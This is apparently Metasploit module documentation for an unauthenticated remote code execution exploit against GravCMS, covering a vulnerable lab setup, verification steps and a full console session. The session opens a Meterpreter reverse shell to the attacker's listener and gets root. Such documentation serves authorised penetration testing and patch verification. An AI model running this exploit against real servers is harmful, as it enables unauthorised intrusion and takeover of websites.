## Vulnerable Application

### Description

This module exploits arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a
terminal command under the context of the web server user.

In versions prior to 1.10.10 of the admin component, an unauthenticated user can execute some methods of administrator controller
without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing
YAML files on the system. Note that the fixed admin component (v1.10.10) has been released with GravCMS version 1.7.9.

Technical details about the vulnerability can be found at
[here](https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/) .

### Setup

GravCMS requires only PHP and a web server to run. Please visit following url to find out required php packages.

[https://learn.getgrav.org/17/basics/requirements](https://learn.getgrav.org/17/basics/requirements)

```
wget https://getgrav.org/download/core/grav-admin/1.7.8
unzip -x 1.7.8
chown -R www-data:www-data grav-admin
```

Once you finished the installation, visit the GravCMS and complete the admin user creation process.

Scheduler is not enabled in the default installation. It has a very important role during the exploitation.
To finish up the installation, execute the following command to enable the scheduler.

```
(crontab -l; echo "* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1") | crontab -
```

## Verification Steps

1. Follow [Setup](#setup) and install the application.
2. Run `msfconsole`
3. Set `RHOSTS`
4. Set `LHOST`
5. Execute `run` command.
6. You should get a shell.

## Options

### TARGETURI

The base path to GravCMS. The default value is `/`.

## Scenarios

```
msf >
msf > use exploit/linux/http/gravcms_exec
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(linux/http/gravcms_exec) > set RHOSTS 192.168.179.131
RHOSTS => 192.168.179.131
msf exploit(linux/http/gravcms_exec) > set LHOST 172.26.253.227
LHOST => 172.26.253.227
msf exploit(linux/http/gravcms_exec) > options

Module options (exploit/linux/http/gravcms_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.179.131  yes       The target host(s), range CIDR identifier, or hosts file with
                                        syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.26.253.227   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(linux/http/gravcms_exec) > check
[*] 192.168.179.131:80 - The target appears to be vulnerable.
msf exploit(linux/http/gravcms_exec) > run

[*] Started reverse TCP handler on 172.26.253.227:4444
[*] Sending request to the admin path to generate cookie and token
[+] Cookie and CSRF token successfully extracted !
[*] Implanting payload via scheduler feature
[+] Scheduler successfully created ! Wait for 1 minute...
[*] Sending stage (39282 bytes) to 172.26.240.1
[*] Cleaning up the scheduler...
[+] The scheduler config successfully cleaned up!
[*] Meterpreter session 1 opened (172.26.253.227:4444 -> 172.26.240.1:53912) at 2021-04-11 15:32:01 +0300

meterpreter > pwd
/var/www/html/grav-admin
meterpreter > getuid
Server username: root (0)
```
